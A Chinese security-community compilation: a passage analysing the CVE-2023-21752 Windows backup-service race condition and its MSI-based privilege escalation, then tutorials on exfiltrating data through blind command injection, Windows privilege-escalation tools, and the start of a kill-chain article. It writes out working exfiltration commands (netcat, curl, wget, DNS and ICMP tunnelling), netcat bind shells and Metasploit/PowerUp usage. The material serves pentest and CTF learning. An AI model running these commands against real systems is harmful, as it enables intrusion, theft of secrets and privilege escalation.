[CreateJunction] Junction \\?\C:\Users\exp\AppData\Local\Temp\23980418-9164-497e-8ce7-930949d1af55 -> \RPC Control created!
[DosDeviceSymLink] Symlink Global\GLOBALROOT\RPC Control\SDT2C35.tmp -> \??\C:\Users\exp\Desktop\test.txt created!
[Trigger] Finish sdc->proc7
[wmain] Exploit successful!
[DeleteJunction] Junction \\?\C:\Users\exp\AppData\Local\Temp\23980418-9164-497e-8ce7-930949d1af55 deleted!
[DelDosDeviceSymLink] Symlink Global\GLOBALROOT\RPC Control\SDT2C35.tmp -> \??\C:\Users\exp\Desktop\test.txt deleted!
补丁修复后
PS C:\Users\exp\Desktop> C:\Users\exp\Desktop\SDRsvcEop.exe C:\Users\exp\Desktop\test.txt
[wmain] Directory: C:\users\exp\appdata\local\temp\183c772e-f444-4aec-a489-7d9f734ee719
[Trigger] Path: \\127.0.0.1\c$\Users\exp\AppData\Local\Temp\183c772e-f444-4aec-a489-7d9f734ee719
[FindFile] Catch FILE_ACTION_ADDED of C:\users\exp\appdata\local\temp\183c772e-f444-4aec-a489-7d9f734ee719\SDT1F8A.tmp
[Trigger] Finish sdc->proc7
_
由此可知修复后利用程序无法再获取一个 tmp 文件的句柄，我猜测应该是补丁修复之前，漏洞文件创建了这个 tmp
文件，并且创建的权限有问题（这个猜测不一定准确），但是这个猜测目前没什么用，还是没办法定位漏洞文件。
然后，几乎走投无路的我终于想起来要用 procmon 了，谢天谢地。
根据上面利用程序输出结果的对比，确定漏洞修复的位置和创建的 tmp 文件有关，因此格外注意 procmon 中该文件的创建操作：
并在 Stack 选项卡中，定位到 sdrsvc.dll 调用的功能位于 sdengin2.dll 中：
根据 `SdCheck + 0x490c2`，在 IDA 中定位到函数
`CSdCommonImpl::QueryStorageDevice`，该地址为这个函数调用 `QueryStorageDevice` 的位置。
经过补丁对比，发现了函数 `IsWritable`，这个函数进行了修改，并且被 `QueryStorageDevice` 所调用。
### 2.3 反思
这次漏洞分析遇到了几个障碍：
1. 无法通过漏洞名称直接确认漏洞文件，导致无法使用常用的补丁对比的分析方法；
2. exp 一开始未成功复现，这种情况对我来说很常见，但是由于不清楚原因，我以为是对备份服务的功能以及 exp 代码不熟悉导致；
3. 由于不熟悉利用代码：
4. 花费很多时间查找相关资料；
5. 需要对辅助功能代码和直接漏洞利用代码进行区分。
除此之外，我之前极少分析带有 exp 且 exp 可以正常复现的漏洞，习惯从静态分析入手，再使用 windbg 动态辅助分析。一般遇到可以使用的
poc，我也是直接触发崩溃，然后使用 windbg 从崩溃开始进行调试分析，从没有使用过 procmon
进行动态监控，并且这样的方法也都成功对漏洞进行了分析，因此轻视了 procmon 动态监控方法的有效性。
不过 procmon 也不是万能的，目前看来，这个方法在漏洞点定位上十分有效，但是如果通过其他信息已经能够对漏洞点进行定位，那么 procmon
提供的帮助就不那么显著了，而且通过其他方法也能够完成漏洞分析。
## 3\. 漏洞原理
### 3.1 补丁对比
漏洞修复前：
__int64 __fastcall IsWritable(unsigned __int16 *a1, int a2, int *a3)
{
...
v7 = -1;
if ( a2 == 7 )
{
if ( !GetTempFileNameW(a1, L"SDT", 0, TempFileName) )// 如果获取 temp 文件名失败，进入 if 语句
{
rtnValue = v17;
LABEL_28:
*a3 = v6;
toend2:
if ( v7 != -1 )
{
CloseHandle(v7);
rtnValue = v17;
}
goto end;
}
rtnValue = SxDeleteFile(TempFileName); // 删除之前可能存在的 tmp 文件
v17 = rtnValue;
v8 = 0x148;
if ( rtnValue >= 0 ) // 删除成功
{
v18 = 0x148;
LABEL_27:
v6 = 1;
goto LABEL_28;
}
toend:
v19 = v8;
goto end;
}
...
}
上述代码中的 a2 和传入的路径类型有关，由于利用程序传入的是 UNC 路径，因此最终程序执行流程到达此处。
根据 `GetTempFileNameW` 函数的文档说明，当其第三个参数为数值 0
时，该函数会尝试使用系统时间生成一个唯一数字文件名，如果该文件已存在，数字递增直至文件名唯一，在这种情况下，该函数会创建一个该文件名的空文件并释放其句柄。因此在漏洞修复之前，系统通过
`GetTempFileNameW` 创建临时文件是否成功的方式检查传入的 unc 路径是否可以写入，如果可以写入，再删除创建的这个临时文件。
漏洞修复后：
__int64 __fastcall IsWritable(unsigned __int16 *a1, int a2, int *a3)
{
...
v7 = -1;
if ( a2 == 7 )
{
if ( CheckDevicePathIsWritable(a1) < 0 )
{
LABEL_10:
rtnValue = v16;
*a3 = v6;
toend2:
if ( v7 != -1 )
{
CloseHandle(v7);
rtnValue = v16;
}
goto end;
}
LABEL_9:
v6 = 1;
goto LABEL_10;
}
漏洞修复后，原本 `GetTempFileNameW` 函数的位置变成了
`CheckDevicePathIsWritable`，`GetTempFileNameW` 函数的实现位于 kernelbase.dll
文件中，如果你仔细对比，会发现这两个函数中的大部分代码相同，只有一处差异点需要注意，就是在创建临时文件的时候，两者的代码如下：
// GetTempFileNameW
v24 = CreateFileW(lpTempFileName, GENERIC_READ, 0, 0i64, 1u, 0x80u, 0i64);
// CheckDevicePathIsWritable
v22 = CreateFileW(FileName, GENERIC_READ, 0, 0i64, 1u, 0x4000080u, 0i64);
可以看到在 `CheckDevicePathIsWritable` 函数中，`CreateFileW` 函数的第六个参数
`dwFlagsAndAttributes` 数值由 `0x80` 变成了 `0x4000080`，即从 `FILE_ATTRIBUTE_NORMAL`
变成了 `FILE_ATTRIBUTE_NORMAL | FILE_FLAG_DELETE_ON_CLOSE`。
根据文档说明，`FILE_FLAG_DELETE_ON_CLOSE` 表示文件会在所有句柄关闭时直接删除，并且之后打开该文件的请求必须包含
`FILE_SHARE_DELETE` 共享模式，否则会失败。
简单来说，修复后的代码将临时文件的创建和删除操作整合成为了一个元操作。
### 3.2 漏洞原理分析
上面补丁对比的结果可以确定这是一个条件竞争漏洞，由于临时文件的创建操作和删除操作接次发生，并且在两个操作之间没有对文件进行限制，这就导致攻击者可以创建另一线程，在临时文件创建之后，删除之前，获取文件句柄并创建机会锁阻止其他线程操作，同时将文件删除，并设置原文件路径指向其他文件，当机会锁释放后，指向的其他文件就会被删除。
## 4\. 漏洞利用
### 4.1 文件删除漏洞利用代码流程总结
1. 在临时文件夹下，使用 `FULL_SHARING` 模式创建目录 dir ，作为上述临时文件的保存位置;
2. 创建线程 FindFile，监控 dir 目录下的文件创建操作：
3. 获取创建文件句柄并创建机会锁；
4. 将创建的文件移动到其他目录下；
5. 创建符号链接，将原文件路径指向要删除的目标文件；
6. 释放机会锁；
7. 主线程将目录 dir 的路径转换为 unc 格式，并通过 `CoCreateInstance` 的方式调用 sdrsvc 服务的 `CSdCommonImpl::QueryStorageDevice` 接口；
8. sdrsvc 服务在 unc 格式目录下创建临时文件，之后删除文件。
如下图所示：
### 4.2 提权漏洞利用
#### 4.2.1 原理分析
这部分内容基本上看 [ZDI 的文章](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks)就可以，这里做一下介绍。
简单来说，从 **任意文件删除** 到本地提权，需要与 MSI installer 文件运行过程进行条件竞争。
Windows Installer 服务负责应用程序的安装，而 msi
文件定义了安装过程中会发生的变化，例如创建了哪些文件夹、复制了哪些文件、修改了哪些注册表等等。因为程序安装过程中会对系统进行修改，为了避免安装出错导致系统无法恢复，msi
会在运行时创建文件夹 `C:/Config.msi`，将安装过程中做的所有更改记录到 .rbs 后缀的文件中，同时将被替换的系统文件存储为 .rbf
格式放入该文件夹。所以如果可以替换其中的 rbf 文件，就能将系统文件替换为任意恶意文件。正是因为有文件替换的风险，所以 `C:/Config.msi`
及其中的文件默认具有强 DACL。
但是如果攻击者能做到 **任意目录删除** ，就可以将 `C:/Config.msi` 删除，重新创建一个弱 DACL 的 `C:/Config.msi`
目录，并在 msi 程序创建完 rbs 和 rbf 文件之后，对其进行替换，使用恶意 rbf 文件实现提权。
具体来看，msi 在运行时经历了 **创建- >删除->再创建** 的过程，之后才会开始创建 rbs 文件，因此 **任意目录删除** 需要在
**再创建** 之后，rbs 文件创建之前删除 `C:/Config.msi` 目录，并监控 rbs 文件的产生，对文件进行替换，条件竞争就发生在这里。
上面提到的漏洞是 **任意目录删除** ，如果发现的是 **任意文件删除** ，可以删除
`C:/Config.msi::$INDEX_ALLOCATION` 数据流，同样可以实现目录的删除。
利用任意文件删除漏洞实现提权的流程如下图所示：
#### 4.2.2 失败原因分析
上面介绍的流程把 **Config.msi 的删除** 当作一个元操作，但在 CVE-2023-21752
这个漏洞中，文件删除同样需要条件竞争才能实现，具有相对繁琐的步骤。也就是说想要利用这个漏洞实现本地提权，需要同时实现赢得两个条件竞争，这也是我一开始复现总是失败的原因。
为了方便了解利用代码的执行流程，我对代码中的注释进行了添加和修改，得到了如下的执行结果：
PS C:\Users\exp\Desktop> C:\Users\exp\Desktop\SDRsvcEop.exe
[wmain] Config.msi directory created!
[wmain] Directory: C:\users\exp\appdata\local\temp\3bbbd2cf-7baf-42b7-98ea-242f703b08f8
[wmain] Got handle of uuid directory
[wmain] Finish create oplock for config.msi
[Trigger] Path: \\127.0.0.1\c$\Users\exp\AppData\Local\Temp\3bbbd2cf-7baf-42b7-98ea-242f703b08f8
[FindFile] Found added file C:\users\exp\appdata\local\temp\3bbbd2cf-7baf-42b7-98ea-242f703b08f8\SDT73B.tmp
[FindFile] Got handle of C:\users\exp\appdata\local\temp\3bbbd2cf-7baf-42b7-98ea-242f703b08f8\SDT73B.tmp
[cb] Oplock!
[Move] Finish moving to \??\C:\windows\temp\c5b82788-8133-4971-b351-38f58233ced1
[CreateJunction] Junction \\?\C:\Users\exp\AppData\Local\Temp\3bbbd2cf-7baf-42b7-98ea-242f703b08f8 -> \RPC Control created!
[DosDeviceSymLink] Symlink Global\GLOBALROOT\RPC Control\SDT73B.tmp -> \??\C:\Config.msi::$INDEX_ALLOCATION created!
[FindFile] End
[Move] Finish moving to \??\C:\windows\temp\0f1161f2-a8c5-4798-a71d-f32ebba87125
[install] MSI file: C:\windows\temp\MSI72F.tmp
[install] Start ACTION=INSTALL
[cb1] Detect first create
[cb1] Detect first delete
[install] Start REMOVE=ALL
[install] Start delete msi file
[Fail] Race condtion failed!
[DeleteJunction] Junction \\?\C:\Users\exp\AppData\Local\Temp\3bbbd2cf-7baf-42b7-98ea-242f703b08f8 deleted!
[DelDosDeviceSymLink] Symlink Global\GLOBALROOT\RPC Control\SDT73B.tmp -> \??\C:\Config.msi::$INDEX_ALLOCATION deleted!
我在不同流程的结果之间添加了回车，方便观察，可以看到在 **删除文件**
流程中，程序监控到了临时文件的生成，也创建了符号链接，但是由于符号链接将临时文件链接到了
`C:/Config.msi::$INDEX_ALLOCATION` 上，而 `C:/Config.msi` 的机会锁又掌握在 msi
线程上，因此删除操作停滞了。
于此同时 msi 线程上只监测到了 `C:\\Config.msi`
的第一次创建和删除，并没有监测到第二次创建，因为这里使用了循环对创建行为进行检测，因此该线程也陷入了无限循环。
与 msi 的条件竞争失败，导致两个线程发生死锁，漏洞利用失败。
#### 4.2.3 问题解决
首先，我将利用代码的整个流程画成了如下的流程图：
红框部分就是条件竞争失败的地点。
我尝试增加虚拟机的 CPU 数量，对监控 Config.msi 创建的代码进行优化，但是都没有成功。同时我也单独使用 procmon 监控了 msi
文件的运行过程，确定 Config.msi 目录确实发生了二次创建。
所以结论只有一个，Config.msi 目录的二次创建发生的太快了。但是既然 Config.msi
目录的二次创建是确实发生的，同时利用代码已经监测到了第一次删除的行为，那么如果这个时候就释放机会锁 2，又会如何呢？
如果不对 Config.msi 目录的二次创建进行监控，直接释放机会锁 2，因为 Config.msi 目录的二次创建时间间隔非常短，等待良久的
sdrsvc 就有机会成功删除 Config.msi。此时漏洞利用流程可以继续进行下去，并成功实现漏洞利用！
### 3.2 符号链接的问题
之前我对利用代码中如何链接向待删除文件存在疑问，实际上这种利用手法[来自 James
Forshaw](https://vimeo.com/showcase/3416096/video/133002251)，参考链接 5 和 6
对其进行了介绍。
重分析点/Junction 是一种 NTFS 文件系统中文件夹的属性，NTFS
驱动在打开文件夹的时候会对它进行读取。可以使用它对目录之间进行链接，假设要建立目录 A 向目录 B 的重分析点，只要普通用户对目录 A
具有可写权限就能够进行，而对目录 B 的权限没有任何要求。
在 Windows 系统中，我们常提到的 C 盘目录并不是一个真的文件夹，它实际上是一个指向设备物理地址的符号链接对象，你可以使用 WinObj 在
`\GLOBAL??` 中看到 `C:` 项是一个 `SymbolicLink`。当我们访问 C
盘中的某个文件时，系统会对访问路径进行转换，转换成真正的设备物理地址。普通用户也可以在对象管理器中添加或删除符号链接，但是该行为只能在有限的目录下进行，例如
`\RPC Control`.
在上面利用代码执行结果中，有下面两行输出：
[CreateJunction] Junction \\?\C:\Users\exp\AppData\Local\Temp\3bbbd2cf-7baf-42b7-98ea-242f703b08f8 -> \RPC Control created!
[DosDeviceSymLink] Symlink Global\GLOBALROOT\RPC Control\SDT73B.tmp -> \??\C:\Config.msi::$INDEX_ALLOCATION created!
首先创建了攻击者可控的目录 `3bbbd2cf-7baf-42b7-98ea-242f703b08f8` 指向 `\RPC Control`
的重分析点，这样访问 `\RPC Control` 就相当于访问这个可控目录；之后在 `\RPC Control` 下面创建了一个由
`SDT73B.tmp` 指向待删除文件的符号链接，这一步就相当于将可控目录下的 `SDT73B.tmp` 指向了待删除文件，删除 `SDT73B.tmp`
就相当于删除了目标文件。
## 6\. 参考资料
1. <https://mp.weixin.qq.com/s/dhKtb8EeBwJnBEjepHXPpg>
2. [Windows Exploitation Tricks: Exploiting Arbitrary Object Directory Creation for Local Elevation of Privilege](https://googleprojectzero.blogspot.com/2018/08/windows-exploitation-tricks-exploiting.html)
3. [CVE-2023-21752 exp](https://github.com/Wh04m1001/CVE-2023-21752)
4. [ABUSING ARBITRARY FILE DELETES TO ESCALATE PRIVILEGE AND OTHER GREAT TRICKS](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks)
5. [Follow the Link: Exploiting Symbolic Links with Ease](https://www.cyberark.com/resources/threat-research-blog/follow-the-link-exploiting-symbolic-links-with-ease)
6. [Understanding and Exploiting Symbolic links in Windows - Symlink Attack EOP](https://nixhacker.com/understanding-and-exploiting-symbolic-link-in-windows/)
* * * | 社区文章 |
文章来源：<https://www.contextis.com/en/blog/data-exfiltration-via-blind-os-command-injection>
* * *
### 前言
在你做渗透测试或者CTF挑战时，可能会碰到直接提取用户输入作为系统命令执行或者在下层系统运行某些任务的应用。
如果（目标）没有验证用户的输入，那么应用很可能因此而受到一种名为“操作系统命令注入”的攻击。攻击者很可能利用这点向应用输入一些包含操作系统命令的内容，然后以目标系统的权限执行。Context目前侦测到大量的应用受到这类攻击，主要注入口为：
* 支持自定义地址的邮件发送应用。
* 监控返回健康状况的企业服务器应用。
* 使用第三方工具，并且依赖用户输入而生成即时报告的应用。
对于CTFer或者渗透测试人员来说，当他们发现这类漏洞时，通常希望在目标主机上搜寻到一些有价值的信息：
* 操作系统密钥文件
* 操作系统配置文件
* 数据库文件
* 应用源码
下图就是这么一个例子：我注入了一个Windows命令'type'，该命令被系统视为参数解析，并执行读取包含导弹发射密钥的文件：
我们有必要“引爆”那些允许执行任意命令的操作系统。想象一下，有一个系统安全应用，它会提取一个IP地址，然后通过'ping'该IP判断主机是否存活。在操作系统底层，用户的输入以以下形式运行：
ping –c 5 xxx.xxx.xxx.xxx
在该应用运行完预期的'ping'命令后，假如我们还想做点别的，那么得注入一些命令运算符以实现在目标主机上运行任意系统命令。下图详细介绍了一些攻击中可能用到的命令运算符：
在上面这个例子中，我们看到了应用的HTTP响应数据中返回了文件的内容。但是在命令运行后，我们经常无法看到显性输出。这时，Blind OS命令注入出现了。
那我们该如何从目标主机提取到敏感信息？这篇文章将介绍一些方法（无需上传web shell）。
### NetCat
第一个方法是使用netcat。[Netcat](https://en.wikipedia.org/wiki/Netcat)常被称为“瑞士军刀”，这个工具能够通过TCP或UDP网络读取和写入数据。如果目标系统存在netcat，你可以使用它开启监听器，然后将命令输出结果转发到监听器上。
在你完成命令后，你可以在目标服务器上设置一个netcat监听器，然后将文件内容传输到上面。
nc –l –p {port} < {file/to/extract}
一旦本地主机能够与受害服务器相连，我们就可以收到返回的数据。下图演示了我们如何提取出目标主机上/etc/passwd的内容：
如果目标主机运行在windows上（存在netcat），可以使用下面这样的命令：
type {file to extract} | nc -L -p {port}
### cURL
[cURL](https://en.wikipedia.org/wiki/CURL)是一个库和命令工具，通过它可以使用各种协议传输数据。cURL是一个非常实用的提取数据的工具。如果目标服务器上存在cURL，我们可以利用它传输文件到目标服务器，或者使用各种协议提取数据，如FTP，SCP，TFTP，TELNET等。
确认目标主机存在系统命令注入漏洞后，使用HTTP协议POST一个文件的内容到本地服务器：
cat /path/to/file | curl –F “:data=@-“ http://xxx.xxx.xxx.xxxx:xxxx/test.txt
你可以在本地服务器的日志文件中找到这些内容。如果在渗透测试中黑客做到了这一步，那么我建议网站服务器应该使用SSL来保护客户的数据。下图请求的数据部分中显示了/etc/passwd的内容：
在CURL中使用使用FTP也可以提取文件。确认目标主机存在系统命令注入漏洞后，使用`-T`标志来传输某个文件到FTP服务器上：
curl –T {path to file} ftp://xxx.xxx.xxx.xxx –user :{password}
下图显示了我使用FTP服务窃取目标服务器上的plans for world domination内容：
我们已经提过了cURL还可以使用其他的协议（SCP，TFTP和TELNET）来传输数据，方法大同小异，这里我不再赘述。
### WGET
[Wget](https://en.wikipedia.org/wiki/Wget)是一个下载工具，该工具更多用于非交互式下载；然而通过自定义标头和POST，这里仍存在一些标志可以从目标服务器提取文件或数据。
WGET允许用户在向服务器发送请求时携带标头：
–header=’name:value’
并且用户可以自定义请求的标头，在标头中我们可以嵌入目标文件的目录地址。仅需将`value`的内容设置为我们想要检索的文件。
wget –header=”EVIL:$(cat /data/secret/password.txt)”http://xxx.xxx.xxx:xxx
可以看到，我们在日志中发现了目标服务器向我们发出请求，请求的'EVIL'标头中携带了/data/secret/password.txt的内容：
我们还可以使用一些小伎俩，用于封装输出超过一行的数据内容。下面显示了我是如何提取出/etc/passwd文件的内容。由于该文件不止一行，我使用了`xargs`和`echo`来隔开新行。
wget –header=”evil:`cat /etc/passwd | xargs echo –n`” http://xxx.xxx.xxx:xxxx
使用WGET也可以发出POST请求至本地服务器，该请求的主体部分携带我们所需的数据或文件。使用`-post-data`或`-post-file`标志都可以获取数据或文件。这两个标志内容格式如下：
‘key1=value1&key2=value2’.
提取文件内容：
wget –post-data exfil=`cat /data/secret/secretcode.txt` http://xxx.xxx.xxx.xxx:xxxx
下面这条命令展示如何使用`post-file`命令来检索属于目标服务器的网页。对于渗透人员来说，通常利用这一点来查看源代码从而进一步确认漏洞；对于CTFer则是期望从PHP代码中获取答案：
wget –post-file trophy.php http://xxx.xxx.xxx.xxx:xxxx
### SMB
如果目标服务器运行在Windows环境上，那么我们可以在本地主机创建网络共享，然后受害者服务器连接至我们主机并复制文件，我们就能够提取到目标主机的文件。使用[net](https://technet.microsoft.com/en-us/library/bb490717.aspx)命令可以轻松完成：
net use h: \\xxx.xxx.xxx.xxx\web /user: {password} && copy {File to Copy} h:\{filename}.txt
### TELNET
如果远程服务器存在[telnet](https://en.wikipedia.org/wiki/Telnet)客户端，那么你可以在本地设置监听器，然后在远程服务器上使用以下命令来传输文件：
telnet xxx.xxx.xxx.xxx {port} < {file to transfer}
下图展示了如何获取/etc/passwd 的内容：
### ICMP
如果远程主机防护严密，并且没有netcat，wget和curl等工具，这里还有一些方法可供使用。尝试使目标主机ping我们的服务器，我们可以看到（假设ICPM允许通过防火墙）。如果可以，并且目标主机为Linux系统，我们可以在ICMP请求中提取出数据。需要注意的是`-p`标志最大的值为16个填充字节。这是我们目标数据的存储位置。
文件的内容为16进制，我们需要在数据包中提取它：
cat password.txt | xxd -p -c 16 | while read exfil; do ping -p $exfil -c 1 xxx.xxx.xxx.xxx; done
通过Wireshark，可以观察到携带目标数据的数据包。你也可以编写脚本来提取数据包并且再次汇编为文章内容。
### DNS
这是一种类似于ping的方法，DNS也可以用于提取数据。这次我们将使用每一行数据作为DNS查询的主机名。通过监控我们服务器的流量，可以拼凑出文件内容。下面我使用一个实例作为目标服务器，命令如下：
cat /data/secret/password.txt | while read exfil; do host $exfil.contextis.com 192.168.107.135; done
和ping一样，你也可以编写脚本来抓取DNS数据包并获取文件内容：
### 小结
本文详细地介绍了一些（系统注入）具有实际意义的攻击操作。比如说，你可以使用netcat获取可连接的shell：
nc -L -p 9090 -e cmd.exe (Windows)
nc -l -p 9090 -e /bin/bash (*nix)
你也可以利用一些脚本或工具如cURL, WGET, SMB等来实现进一步的攻击。
希望这篇文章可以为你接下来的渗透工作或者CTF挑战提供一些参考。 | 社区文章 |
原文：
<http://www.hackingarticles.in/window-privilege-escalation-via-automated-script/>
大家都知道，当我们入侵了一台服务器并拿到了低权限shell时需要进行提权。
本文就来讲解如何提权并判断哪些低权限的shell可以提升到高级权限。
**目录**
介绍
提权向量
windows-Exploit-Suggester
Windows Gather Applied Patches
sherlock
JAWS—另一种Windows遍历脚本
PowerUp
**介绍**
提权一般是在攻击者已经成功入侵受害者的主机后的一个过程，在这个过程中，攻击者要尝试收集关于系统的更多关键信息，比如隐藏的密码和某些配置不当的服务与应用等。所有这些信息都会帮助攻击者对受害主机进行后渗透以便拿到高权限的shell。
**提权向量**
下面这些信息是Windows系统中的关键信息：
操作系统版本
已安装或正在运行的存在漏洞的安装包
具有完全控制或修改权限的文件和文件夹
映射驱动器
引人注意的异常文件
不带引号的服务路径
网络信息(接口,arp,netstat等)
防火墙状态和规则
运行进程
AlwaysInstallElevated注册表项检查
存储的凭证
DLL劫持
计划任务
在渗透测试过程中，有一些脚本能够帮你快速识别Windows系统中的提权向量，本文我们就来一一详细讲解。
**Windows-Exploit-suggester**
如果你已经获得了受害主机的低权限meterpreter会话或者命令会话，那么你就可以使用这个脚本。
这个脚本会告诉你本地可用的exp。这些给出的exp是根据受害主机的操作系统平台和架构，还有根据本地可用的exp来选择的。需要注意的是，并不是所有的exp都可以有效利用。需要根据下列条件来选择exp：会话类型，平台，架构还有所需的默认选项等。
使用该脚本非常简单，输入下列命令即可：
use post/multi/recon/local_exploit_suggester
msf post(local_exploit_suggester) > set lhost 192.168.1.107
msf post(local_exploit_suggester) > set session 1
msf post(local_exploit_suggester) > exploit
从图片中可以看到，脚本已经检测出了哪些exp可以利用并且能够进行提权。
**Windows Gather Applied Patches**
这个模块会根据WMI查询的结果来遍历Windows系统中安装的补丁，WMI查询语句如下：
SELECT HotFixID FROM Win32_QuickFixEngineering
脚本用法：
use post/windows/gather/enum_patches
msf post(enum_patches) > set session 1
msf post(enum_patches) > exploit
如图所示，该脚本已经根据补丁显示了受害主机存在哪些漏洞和对应的能够提权的exp。
**sherlock**
这是一个Powershell脚本，能够快速找到缺失的软件补丁并进行本地提权。这个脚本跟上面的脚本类似，能够找到受害主机存在哪些漏洞和对应的可以提权的exp。
使用下面的命令从GitHub上下载脚本，当你获取一个受害主机的meterpreter会话时执行脚本，如下所示：
git clone https://github.com/rasta-mouse/Sherlock.git
由于这个脚本是在powershell中执行的，所以需要先加载powershell，然后再导入这个下载的脚本：
load powershell
powershell_import '/root/Desktop/Sherlock/Sherlock.ps1'
powershell_execute “find-allvulns”
上面的命令会输出目标靶机存在的漏洞和可以用来提权的exp，如图：
**JAWS—另一个Windows遍历脚本**
JAWS也是一个powershell脚本，目的是为了帮助渗透测试员和CTF选手快速识别Windows主机上的提权向量。该脚本是用powershell2.0编写的，所以在win7之后的主机上都可以运行。
当前功能
网络信息收集(接口,arp,netstat)
防火墙状态和规则
运行的进程
具有完全控制权限的文件和文件夹
映射驱动器
引人注意的异常文件
不带引号的服务路径
近期使用的文档
系统安装文件
AlwaysInstallElevted注册表项检查
存储的凭证
安装的应用
潜在的漏洞服务
MuiCache文件
计划任务
使用下面的命令下载脚本：
git clone https://github.com/411Hall/JAWS.git
一旦你获得了meterpreter会话，上传这个脚本然后在命令行中执行：
powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txt
它会将关键信息保存在JAWS-Enum.txt文件中。
前面说到过，JAWS-Enum.txt这个文件存储着能够进行提权的向量，现在我们打开这个文件来看看结果。
下图中显示了所有的用户名和IP配置信息。
也可以清楚的看到netstat的结果，如图：
正在运行的进程和服务
所有安装的程序和补丁
还可以看到具有完全控制和修改权限的文件夹
当然，运行这个脚本还能提取到更多的关键信息，大家可以自己摸索一下。
**PowerUp**
PowerUp是一个powershell工具，能够协助在Windows系统上进行本地权限提升。PowerUp的目的是整合所有因为配置错误而导致的Windows本地权限提权向量。
运行Invoke-Allchecks会输出所有可识别的漏洞。
当前功能
服务遍历
Get-ServiceUnquoted--返回名字中有空格且未加引号的服务路径
Get-ModifiableServiceFile—返回当前用户可以向服务二进制路径和配置文件写入的服务
Get-ModifiableService—返回当前用户可以修改的服务
Get-ServiceDetail—返回指定服务的详细信息
服务滥用
Invoke-ServiceAbuse—修改存在漏洞的服务，创建本地管理员或执行自定义的命令
Write-ServiceBinary—编写经过修改的C#服务二进制文件来添加本地管理员或执行自定义命令
Install-ServiceBinary—替换服务二进制文件来添加本地管理员或执行自定义命令
Restore-ServiceBinary—使用原始可执行文件恢复已经替换的服务二进制文件
DLL劫持
Find-ProcessDLLHijack—发现当前正在运行的进程是否存在DLL劫持
Find-PathDLLHijack—查找环境变量“%PATH%是否存在DLL劫持”
Write-HijackDll—编写可劫持的DLL
注册表检查
Get-RegistryAlwaysInstallElevated—检查是否设置了AlwaysInstallElevated注册表项
Get-RegistryAutoLogon—检查注册表中是否有AutoLogon凭证
Get-ModifiableRegistryAutoRun—在HKLM autoruns中检查任何可修改的二进制文件/脚本或配置文件
前面提到过，PowerUp是powersploit的一个模块，所以我们需要下载powersploit，使用下面的命令从GitHub上下载：
git clone https://github.com/PowerShellMafia/PowerSploit.git
然后切换到Powersploit目录下，可以看到powerup脚本
cd PowerSploit
ls
cd Privesc
ls
如图所示：
然后加载powershell，导入下载的脚本：
load powershell
powershell_import '/root/Desktop/PowerSploit/Privesc/PowerUp.ps1'
powershell_execute Invoke-AllChecks
这几条命令能够显示出目标主机存在哪些漏洞和对应的提权exp，如图： | 社区文章 |
# 【技术分享】黑客攻击的7个阶段
|
##### 译文声明
本文是翻译文章，文章来源：countuponsecurity.com
原文地址：<https://countuponsecurity.com/2017/02/26/offensive-tools-and-techniques/>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[pwn_361](http://bobao.360.cn/member/contribute?uid=2798962642)
预估稿费：200RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**前言**
在本文中，我将用一系列的例子来说明双方力量通常使用的工具和技术！为了举例说明这个问题，我将按照不同的攻击阶段，并使用入侵杀伤链作为叙述方法论。这种方法论包含了7个阶段，分别是侦察、武器、传送、利用、安装、C2和目标上的活动。
**侦察**
该阶段的任务是寻找目标信息，目标通常是一个人。攻击高端个体可能比较困难，因为这些个体通常有一个个性化的安全小组在保护着他们。然而，使用不同的情报搜集技术，如在各种公共信息资源中搜索可用信息，你可以瞄准其他人员。由于人类的本性，人们会屈服于社会工程学技术、及多次给他们提供的必要信息。收获的相关组织和人员的元数据就是我们工作的一个起点。通常，元数据就是一大堆信息，如用户名、软件版本、打印机、邮件地址和其它可以使用一个工具(如[FOCA元数据分析工具](https://www.elevenpaths.com/labstools/foca/index.html))检索的信息。你可以看一下[Chema
Alonse](https://twitter.com/chemaalonso?lang=en)和Jose
Palazon给出的[演示](https://www.youtube.com/watch?v=Ou4TRvzYpVk)。最后，攻击者将想尽一切办法去收集尽可能多的信息、员工姓名、层次结构、朋友和亲戚、爱好等。
**武器和传送**
在收集了尽可能多的信息和执行了足够的侦察后，攻击者在现有资源的帮助下，将选择最佳方案去执行攻击行动。目前，包含附件文档的鱼叉式钓鱼攻击方法是最有优势的，这可能是一个好的攻击方法。文档的武器化程度和传送成熟度可能与攻击者可用的资源量有关。在下面的例子中，我将展示如何利用Metasploit来轻松的创建一个带有恶意宏的Word文档，当该文档执行后，它会连接到攻击者的系统，并建立命令的控制隧道。载荷使用了HTTPS作为通信隧道，但是它使用了自签名的证书，并指向了一个IP地址，并不是一个域名。在不同大小的组织中，很多时候web过滤控制是很严格的，并且使用不同的阻拦技术来检测和停止这种类型的连接。然而，攻击者可以注册一个新域名或提前购买一个过期域名，创建一个简单、真实的WEB网页，并将域名划分到类似于金融或卫生保健的类别中，WEB过滤产品通常会允许这类域名，因此我们的SSL连接可能(载荷添加了自定义证书)就不会被终止或检查。另外，攻击者可以购买一个便宜的SSL证书，会使这种场景看起来更加真实。除此之外，Metasploit引用了一个升级的[流量混杂技术](http://buffered.io/posts/tlv-traffic-obfuscation/)，安全产品探测到它会更困难。
下图展示了如何用Metasploit去创建一个武器化的Word文档，另一个方法是使用PowerShell Empire。可以看一下[Matt
Nelson](https://twitter.com/enigma0x3)写的[一篇文章](https://enigma0x3.net/2016/03/15/phishing-with-empire/)。
于是，为目标订制好了Word文档。综上所述，可以是一个武器化的文档，也可以是一个恶意链接，攻击者精心发送了一个钓鱼邮件。这需要运用到不同的社会工程学技术，去迎合人性的诉求，并利用人类的弱点，使攻击成功的可能性尽可能的最大化。当然，还有其它的可能会影响攻击成功的因素，比如恶意邮件/链接规避大量豪华过滤器的能力，具备这种能力才能使邮件/链接穿过多层网络边界，并到达终端用户。如果邮件最终到达终端用户，并且有一个员工犯了一个错误，如果这些条件都满足了，那么攻击者将能在企业内部网络中建立一个立足点。
下图展示了一个具体过程，攻击者启动Metasploit，并添加了一个载荷，当恶意文档成功返回信标后，利用自动脚本实现了进程自动迁移：
**利用**
